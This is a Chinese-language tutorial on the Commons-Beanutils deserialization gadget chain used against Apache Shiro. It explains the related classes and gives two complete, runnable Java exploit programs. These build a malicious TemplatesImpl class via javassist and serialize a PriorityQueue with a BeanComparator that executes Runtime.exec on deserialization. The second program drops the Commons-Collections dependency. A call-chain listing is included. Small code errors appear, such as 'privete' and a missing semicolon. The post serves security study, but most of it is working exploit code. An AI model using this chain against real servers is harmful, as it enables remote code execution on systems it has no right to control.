0x01 前言

commons-beanutils是Apache开源组织提供的用于操作JAVA BEAN的工具包。使用commons-beanutils,我们可以很方便的对bean对象的属性进行操作。Commons-Beanutils利用链也叫CB链,需要注意跟CC链区分。CB链再shiro反序列化中派上大用。Shiro是默认依赖Commons-Beanutils的,那么就可以利用CommonsBeanutils反序列化链进行构造payload。

  1. <dependency>
  2. <groupId>commons-beanutils</groupId>
  3. <artifactId>commons-beanutils</artifactId>
  4. <version>1.9.3</version>
  5. </dependency>

0x02 相关知识

Java Bean

Java Bean是对一种类的称呼,具备以下特征的类即可称为java bean。

  • 提供一个默认的无参构造函数。
  • 需要被序列化并且实现了 Serializable 接口。
  • 可能有一系列可读写属性,并且一般是 private 的。
  • 可能有一系列的 getter 或 setter 方法。

Java Bean 的作用也就是把一组数据组合成一个特殊的类便于传输。 Java Bean 可以用在图形界面的可视化设计、JSP 封装数据保存到数据库、Android AIDL 跨进程通信,Spring框架等场景中。
以下代码便是一个Java Bean。

  1. public class Person {
  2. privete String name;
  3. private int age;
  4. public void setName(String newName) {
  5. name = newName;
  6. }
  7. public String getName() {
  8. return name;
  9. }
  10. public void setAge(int neweAge) {
  11. age = newAge;
  12. }
  13. public int getAge() {
  14. return age;
  15. }
  16. }

PropertyUtils.getProperty

CommonsBeanutils中存在一个方法,org.apache.commons.beanutils.PropertyUtils.getProperty,该方法可以实现对Java Bean的getter方法的调用。PropertyUtils.getProperty(new Person(),"name")则会调用它的getName()方法。

  1. Person person = new Person();
  2. person.setName("张三");
  3. System.out.println(PropertyUtils.getProperty(person,"name"));
  4. // output:张三

BeanComparator

org.apache.commons.beanutils.BeanComparator实现了 Comparator 接口,可以用来比较两个Bean的属性等内容。其中compare方法调用了PropertyUtils.getProperty方法。在初始化BeanComparator对象时如果没有传入comparator则会默认使用ComparableComparator类,而该类是属于commons-collections依赖的,在Shiro中默认包含一部分commons-collections的类,但是不完全,比如就没有包含ComparableComparator类。
image.png

TemplatesImpl

经过对CC链的分析,对于TemplatesImpl类已经很熟悉了,在很多链中TemplatesImpl类加载恶意字节码作为sink实现最终恶意代码执行。在CC链中TemplatesImpl作为sink都需要调用newTransformer方法,而在TemplatesImpl类中存在一个getter方法会间接调用newTransformer方法。
image.png

0x03 利用链1

在既存在cc和cb依赖的情况下,利用链如下:

  1. import javassist.CannotCompileException;
  2. import javassist.ClassPool;
  3. import javassist.CtClass;
  4. import javassist.NotFoundException;
  5. import org.apache.commons.beanutils.BeanComparator;
  6. import java.io.*;
  7. import java.lang.reflect.Field;
  8. import java.lang.reflect.InvocationTargetException;
  9. import java.util.PriorityQueue;
  10. public class CB {
  11. public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchFieldException, InstantiationException {
  12. String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  13. String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
  14. ClassPool classPool= ClassPool.getDefault();//返回默认的类池
  15. classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
  16. CtClass payload=classPool.makeClass("CommonsBeanutils");//创建一个新的public类
  17. payload.setSuperclass(classPool.get(AbstractTranslet));
  18. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
  19. byte[] bytes=payload.toBytecode();//转换为byte数组
  20. Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
  21. Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
  22. field.setAccessible(true)
  23. field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
  24. Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
  25. field1.setAccessible(true);
  26. field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
  27. BeanComparator beanComparator = new BeanComparator();
  28. beanComparator.setProperty("outputProperties");
  29. PriorityQueue priorityQueue = new PriorityQueue(2);
  30. priorityQueue.add(1);
  31. priorityQueue.add(2);
  32. Field field2 = priorityQueue.getClass().getDeclaredField("queue");
  33. field2.setAccessible(true);
  34. field2.set(priorityQueue,new Object[]{templatesImpl,templatesImpl});
  35. Field field3 = priorityQueue.getClass().getDeclaredField("comparator");
  36. field3.setAccessible(true);
  37. field3.set(priorityQueue,beanComparator);
  38. ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
  39. objectOutputStream.writeObject(priorityQueue);
  40. ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
  41. objectInputStream.readObject();
  42. }
  43. }

整体代码跟CC链差不多,主要是设置BeanComparator的property属性。

0x04 利用链2

Commons-beanutils.BeanComparator 的构造方法,其实只有默认不传入 Comparator 的情况下才会去使用Commons-collections的ComparableComparator,所以我们需要传入一个原生的Comparator 即可摆脱对Commons-Collections 的依赖,同时,因为这个漏洞是应用于反序列化场景,所以要求这个类还必须继承 Serializable 接口,该静态对象java.lang.String.CASE_INSENSITIVE_ORDER满足条件。这也是实际上进行shiro反序列化时常用的链。
image.png
利用链如下:

  1. import javassist.CannotCompileException;
  2. import javassist.ClassPool;
  3. import javassist.CtClass;
  4. import javassist.NotFoundException;
  5. import org.apache.commons.beanutils.BeanComparator;
  6. import java.io.*;
  7. import java.lang.reflect.Field;
  8. import java.lang.reflect.InvocationTargetException;
  9. import java.util.PriorityQueue;
  10. public class CB {
  11. public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchFieldException, InstantiationException {
  12. String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  13. String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
  14. ClassPool classPool= ClassPool.getDefault();//返回默认的类池
  15. classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
  16. CtClass payload=classPool.makeClass("CommonsBeanutils");//创建一个新的public类
  17. payload.setSuperclass(classPool.get(AbstractTranslet));
  18. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
  19. byte[] bytes=payload.toBytecode();//转换为byte数组
  20. Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
  21. Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
  22. field.setAccessible(true);
  23. field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
  24. Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
  25. field1.setAccessible(true);
  26. field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
  27. BeanComparator beanComparator = new BeanComparator();
  28. beanComparator.setProperty("outputProperties");
  29. PriorityQueue priorityQueue = new PriorityQueue(2);
  30. priorityQueue.add(1);
  31. priorityQueue.add(2);
  32. Field field2 = priorityQueue.getClass().getDeclaredField("queue");
  33. field2.setAccessible(true);
  34. field2.set(priorityQueue,new Object[]{templatesImpl,templatesImpl});
  35. Field field3 = priorityQueue.getClass().getDeclaredField("comparator");
  36. field3.setAccessible(true);
  37. field3.set(priorityQueue,beanComparator);
  38. Field field4 = beanComparator.getClass().getDeclaredField("comparator");
  39. field4.setAccessible(true);
  40. field4.set(beanComparator,String.CASE_INSENSITIVE_ORDER);
  41. ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
  42. objectOutputStream.writeObject(priorityQueue);
  43. ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
  44. objectInputStream.readObject();
  45. }
  46. }

跟利用链1唯一的差别就是反射更改了beanComparator的comparator属性为String.CASE_INSENSITIVE_ORDER。

  1. PriorityQueue.readObject()
  2. PriorityQueue.heapify()
  3. PriorityQueue.siftDown()
  4. PriorityQueue.siftDownUsingComparator()
  5. BeanComparator.compare()
  6. PropertyUtils.getProperty()
  7. TemplatesImpl.getOutputProperties()
  8. TemplatesImpl.newTransformer()
  9. TemplatesImpl.getTransletInstance()
  10. TemplatesImpl.defineTransletClasses()
  11. TransletClassLoader.defineClass()
  12. newInstance()
  13. Runtime.getRuntime().exec("calc.exe")

image.png

0x05 总结

CB链主要应用场景在shiro反序列化中,sink是TemplatesImpl,source是priorityQueue#readObject。中继使用BeanComparator类。